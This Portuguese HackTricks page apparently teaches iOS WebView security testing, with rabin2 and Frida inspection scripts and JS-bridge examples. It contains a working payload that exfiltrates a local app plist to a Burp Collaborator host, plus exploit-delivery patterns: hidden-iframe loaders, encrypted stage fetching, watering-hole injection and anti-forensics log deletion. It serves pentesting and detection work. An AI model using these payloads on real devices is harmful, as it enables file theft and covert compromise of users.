WebViews no iOS

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

O código desta página foi extraído de here. Consulte a página para mais detalhes.

Tipos de WebViews

WebViews são utilizados dentro de aplicações para exibir conteúdo web de forma interativa. Vários tipos de WebViews oferecem diferentes funcionalidades e recursos de segurança para aplicações iOS. Aqui está uma visão geral:

  • UIWebView, que não é mais recomendado a partir do iOS 12 devido à sua falta de suporte para desabilitar JavaScript, tornando-o suscetível a script injection e ataques de Cross-Site Scripting (XSS).

  • WKWebView é a opção preferida para incorporar conteúdo web em apps, oferecendo maior controle sobre o conteúdo e recursos de segurança. JavaScript é ativado por padrão, mas pode ser desabilitado se necessário. Também suporta funcionalidades para impedir que JavaScript abra janelas automaticamente e garante que todo o conteúdo seja carregado de forma segura. Adicionalmente, a arquitetura do WKWebView minimiza o risco de corrupção de memória afetar o processo principal do app.

  • SFSafariViewController oferece uma experiência de navegação web padronizada dentro dos apps, reconhecível pelo seu layout específico incluindo um campo de endereço somente leitura, botões de compartilhamento e navegação, e um link direto para abrir o conteúdo no Safari. Ao contrário do WKWebView, JavaScript não pode ser desabilitado em SFSafariViewController, que também compartilha cookies e dados com o Safari, mantendo a privacidade do usuário em relação ao app. Deve ser exibido de forma proeminente de acordo com as diretrizes da App Store.

// Example of disabling JavaScript in WKWebView:
WKPreferences *preferences = [[WKPreferences alloc] init];
preferences.javaScriptEnabled = NO;
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
config.preferences = preferences;
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];

Resumo da Exploração da Configuração de WebViews

Visão Geral da Análise Estática

No processo de exame das configurações de WebViews, concentramo-nos em dois tipos principais: UIWebView e WKWebView. Para identificar esses WebViews dentro de um binário, são utilizados comandos que procuram referências de classe específicas e métodos de inicialização.

  • Identificação de UIWebView
$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"

Este comando ajuda a localizar instâncias de UIWebView procurando por cadeias de texto relacionadas a ela no binário.

  • Identificação do WKWebView
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"

Da mesma forma, para WKWebView, este comando pesquisa o binário por cadeias de texto indicativas de seu uso.

Além disso, para descobrir como um WKWebView é inicializado, o seguinte comando é executado, direcionando para a assinatura do método relacionada à sua inicialização:

$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"

Verificação da Configuração do JavaScript

Para WKWebView, destaca-se que desabilitar JavaScript é uma boa prática, a menos que seja necessário. O binário compilado é pesquisado para confirmar que a propriedade javaScriptEnabled está definida como false, garantindo que o JavaScript esteja desabilitado:

$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"

Verificação Apenas de Conteúdo Seguro

WKWebView oferece a capacidade de identificar problemas de mixed content, em contraste com UIWebView. Isso é verificado usando a propriedade hasOnlySecureContent para garantir que todos os recursos da página sejam carregados por meio de conexões seguras. A busca no binário compilado é realizada da seguinte forma:

$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"

Informações da Análise Dinâmica

A análise dinâmica envolve inspecionar o heap em busca de instâncias de WebView e suas propriedades. Um script chamado webviews_inspector.js é usado para esse fim, visando instâncias de UIWebView, WKWebView e SFSafariViewController. Ele registra informações sobre as instâncias encontradas, incluindo URLs e configurações relacionadas a JavaScript e conteúdo seguro.

A inspeção do heap pode ser conduzida usando ObjC.choose() para identificar instâncias de WebView e verificar as propriedades javaScriptEnabled e hasonlysecurecontent.

ObjC.choose(ObjC.classes["UIWebView"], {
onMatch: function (ui) {
console.log("onMatch: ", ui)
console.log("URL: ", ui.request().toString())
},
onComplete: function () {
console.log("done for UIWebView!")
},
})

ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log("URL: ", wk.URL().toString())
},
onComplete: function () {
console.log("done for WKWebView!")
},
})

ObjC.choose(ObjC.classes["SFSafariViewController"], {
onMatch: function (sf) {
console.log("onMatch: ", sf)
},
onComplete: function () {
console.log("done for SFSafariViewController!")
},
})

ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log(
"javaScriptEnabled:",
wk.configuration().preferences().javaScriptEnabled()
)
},
})

ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log("hasOnlySecureContent: ", wk.hasOnlySecureContent().toString())
},
})

O script é executado com:

frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js

Principais Resultados:

  • Instâncias de WebViews são localizadas e inspecionadas com sucesso.
  • A habilitação de JavaScript e as configurações de conteúdo seguro são verificadas.

Este resumo encapsula os passos e comandos críticos envolvidos na análise de configurações de WebView por meio de abordagens estáticas e dinâmicas, com foco em recursos de segurança como habilitação de JavaScript e detecção de conteúdo misto.

Tratamento de Protocolos em WebViews

O tratamento de conteúdo em WebViews é um aspecto crítico, especialmente ao lidar com vários protocolos como http(s)://, file:// e tel://. Esses protocolos permitem o carregamento de conteúdo remoto e local dentro dos apps. Enfatiza-se que, ao carregar conteúdo local, precauções devem ser tomadas para evitar que usuários influenciem o nome ou o caminho do arquivo e que editem o próprio conteúdo.

WebViews oferecem diferentes métodos para carregamento de conteúdo. Para UIWebView, agora deprecated, são usados métodos como loadHTMLString:baseURL: e loadData:MIMEType:textEncodingName:baseURL:. WKWebView, por outro lado, emprega loadHTMLString:baseURL:, loadData:MIMEType:textEncodingName:baseURL: e loadRequest: para conteúdo web. Métodos como pathForResource:ofType:, URLForResource:withExtension: e init(contentsOf:encoding:) são tipicamente utilizados para carregar arquivos locais. O método loadFileURL:allowingReadAccessToURL: é particularmente notável por sua capacidade de carregar uma URL específica ou um diretório no WebView, potencialmente expondo dados sensíveis se um diretório for especificado.

Para encontrar esses métodos no código-fonte ou no binário compilado, comandos como os seguintes podem ser usados:

$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:

Quanto ao acesso a arquivos, UIWebView permite isso de forma universal, enquanto WKWebView introduz as configurações allowFileAccessFromFileURLs e allowUniversalAccessFromFileURLs para gerenciar o acesso a partir de URLs de arquivo, ambas definidas como false por padrão.

Um exemplo de script Frida é fornecido para inspecionar as configurações de segurança de WKWebView:

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
console.log('allowFileAccessFromFileURLs: ',
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
console.log('allowUniversalAccessFromFileURLs: ',
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});

Por fim, um exemplo de payload JavaScript destinado a exfiltrating arquivos locais demonstra o risco potencial de segurança associado a WebViews configuradas incorretamente. Esse payload codifica o conteúdo dos arquivos em formato hex antes de transmiti-los para um server, destacando a importância de medidas de segurança rigorosas nas implementações de WebView.

String.prototype.hexEncode = function () {
var hex, i
var result = ""
for (i = 0; i < this.length; i++) {
hex = this.charCodeAt(i).toString(16)
result += ("000" + hex).slice(-4)
}
return result
}

var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
var xhr2 = new XMLHttpRequest()
xhr2.open(
"GET",
"http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/" +
xhr.responseText.hexEncode(),
true
)
xhr2.send(null)
}
}
xhr.open(
"GET",
"file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist",
true
)
xhr.send(null)

Métodos Nativos Expostos através de WebViews

Entendendo as Interfaces Nativas de WebView no iOS

A partir do iOS 7, a Apple forneceu APIs para comunicação entre JavaScript em um WebView e objetos nativos Swift ou Objective-C. Essa integração é facilitada principalmente por dois métodos:

  • JSContext: uma função JavaScript é criada automaticamente quando um bloco Swift ou Objective-C é vinculado a um identificador dentro de um JSContext. Isso permite integração e comunicação transparente entre JavaScript e código nativo.
  • JSExport Protocol: Ao herdar o protocolo JSExport, propriedades nativas, métodos de instância e métodos de classe podem ser expostos ao JavaScript. Isso significa que quaisquer alterações feitas no ambiente JavaScript são espelhadas no ambiente nativo, e vice-versa. No entanto, é essencial garantir que dados sensíveis não sejam expostos inadvertidamente por esse método.

Acessando o JSContext em Objective-C

Em Objective-C, o JSContext de um UIWebView pode ser obtido com a seguinte linha de código:

[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]

Comunicação com WKWebView

Para WKWebView, o acesso direto a JSContext não está disponível. Em vez disso, é utilizada passagem de mensagens através da função postMessage, permitindo a comunicação do JavaScript com o aplicativo nativo. Os manipuladores para essas mensagens são configurados da seguinte forma, permitindo que o JavaScript interaja com o aplicativo nativo de forma segura:

func enableJavaScriptBridge(_ enabled: Bool) {
options_dict["javaScriptBridge"]?.value = enabled
let userContentController = wkWebViewConfiguration.userContentController
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")

if enabled {
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
}
}

Interação e Testes

JavaScript pode interagir com a camada nativa definindo um script message handler. Isso permite operações como invocar funções nativas a partir de uma página web:

function invokeNativeOperation() {
value1 = document.getElementById("value1").value
value2 = document.getElementById("value2").value
window.webkit.messageHandlers.javaScriptBridge.postMessage([
"multiplyNumbers",
value1,
value2,
])
}

// Alternative method for calling exposed JavaScript functions
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2

Para capturar e manipular o resultado de uma chamada de função nativa, é possível sobrescrever a função de callback dentro do HTML:

<html>
<script>
document.location = "javascriptbridge://getSecret"
function javascriptBridgeCallBack(name, result) {
alert(result)
}
</script>
</html>

O lado nativo trata a chamada JavaScript conforme mostrado na classe JavaScriptBridgeMessageHandler, onde o resultado de operações como multiplicar números é processado e enviado de volta para o JavaScript para exibição ou manipulação adicional:

class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
// Handling "multiplyNumbers" operation
case "multiplyNumbers":
let arg1 = Double(messageArray[1])!
let arg2 = Double(messageArray[2])!
result = String(arg1 * arg2)
// Callback to JavaScript
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
}

iOS Web Exploit Delivery & Staging Tradecraft

Os padrões a seguir foram observados em cadeias de exploit delivery do iOS Safari/WebKit no mundo real e são úteis para análise, detecção e emulação controlada.

Carregador multiestágio via iframes ocultos

Um padrão comum de staging é controlar a execução para evitar reinfecção ou análise e então injetar um iframe oculto/fora da tela para a próxima etapa:

<script>
if (!sessionStorage.getItem('uid') && isTouchScreen) {
sessionStorage.setItem('uid', '1');
const frame = document.createElement('iframe');
frame.src = 'frame.html?' + Math.random();
frame.style.height = 0;
frame.style.width = 0;
frame.style.border = 'none';
document.body.appendChild(frame);
} else {
top.location.href = 'red';
}
</script>

Uma página de staging mínima pode injetar o main loader via document.write():

<script>
document.write('<script defer="defer" src="rce_loader.js"><\/script>');
</script>

Loader stages frequentemente carregam o JavaScript subsequente de forma síncrona:

function getJS(fname) {
const xhr = new XMLHttpRequest();
xhr.open('GET', fname, false);
xhr.send(null);
return xhr.responseText;
}

Estágios posteriores podem ser executados em um contexto semelhante a um worker construindo uma Blob URL:

const workerCode = getJS('rce_worker_18.4.js');
const workerBlob = new Blob([workerCode], { type: 'text/javascript' });
const workerBlobUrl = URL.createObjectURL(workerBlob);

Forçando o Safari a atingir a superfície do WebKit/JSC

Se uma vítima abrir um lure em outro navegador, um protocol handler pode forçar o Safari:

if (typeof browser === 'undefined' && isIphone()) {
location.href = 'x-safari-https://example.com/<redacted>';
}

Busca de estágio criptografado (ECDH + AES)

Alguns loaders criptografam os exploit stages durante a transferência. Um fluxo mínimo do cliente é: gerar um par de chaves ECDH efêmero, fazer POST com a chave pública em base64, receber blobs criptografados, derivar uma chave AES, descriptografar e então decodificar para JavaScript:

const kp = generateKeyPair();
const pubPem = exportPublicKeyAsPem(kp.publicKey);
const xhr = new XMLHttpRequest();
xhr.open('POST', 'https://<redacted>/stage?'+Date.now(), false);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.send(JSON.stringify({ a: btoa(pubPem) }));
const { a, b } = JSON.parse(xhr.responseText);
const aesKey = deriveAesKey(kp.privateKey, b64toUint8Array(b));
const js = new TextDecoder().decode(decryptData(b64toUint8Array(a), aesKey));

Watering-hole injection pattern

Sites comprometidos podem carregar um script remoto que cria um iframe fora da tela e o restringe com um sandbox enquanto ainda permite a execução do script:

<script async src="https://static.example.net/widgets.js?token"></script>
const iframe = document.createElement('iframe');
iframe.src = 'https://static.example.net/assets/index.html';
iframe.style.width = '1px';
iframe.style.height = '1px';
iframe.style.position = 'absolute';
iframe.style.left = '-9999px';
iframe.style.opacity = '0.01';
iframe.setAttribute('sandbox', 'allow-scripts allow-same-origin');
document.body.appendChild(iframe);

Post-exploitation anti-forensics indicators (JS implants)

  • Staging temporário em /tmp/./ com subpastas como STORAGE, DATA e TMP.
  • Exclusão de crash logs em /var/mobile/Library/Logs/CrashReporter/ (frequentemente filtrados por substrings WebKit/SpringBoard).
  • Exclusão recursiva de /private/var/containers/Shared/SystemGroup/systemgroup.com.apple.osanalytics/DiagnosticReports/.

Debugging iOS WebViews

(Tutorial baseado no disponível em https://blog.vuplex.com/debugging-webviews)

Para depurar efetivamente conteúdo web dentro de webviews iOS, é necessário um setup específico envolvendo as developer tools do Safari, devido ao fato de que mensagens enviadas para console.log() não são exibidas nos logs do Xcode. Aqui está um guia simplificado, enfatizando passos e requisitos chave:

  • Preparation on iOS Device: The Safari Web Inspector needs to be activated on your iOS device. This is done by going to Settings > Safari > Advanced, and enabling the Web Inspector.

  • Preparation on macOS Device: On your macOS development machine, you must enable developer tools within Safari. Launch Safari, access Safari > Preferences > Advanced, and select the option to Show Develop menu.

  • Connection and Debugging: After connecting your iOS device to your macOS computer and launching your application, use Safari on your macOS device to select the webview you want to debug. Navigate to Develop in Safari’s menu bar, hover over your iOS device’s name to see a list of webview instances, and select the instance you wish to inspect. A new Safari Web Inspector window will open for this purpose.

No entanto, esteja ciente das limitações:

  • A depuração com esse método requer um dispositivo macOS já que depende do Safari.
  • Apenas webviews em aplicações carregadas no seu dispositivo através do Xcode são elegíveis para depuração. Webviews em apps instalados via App Store ou Apple Configurator não podem ser depuradas desta maneira.

References

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks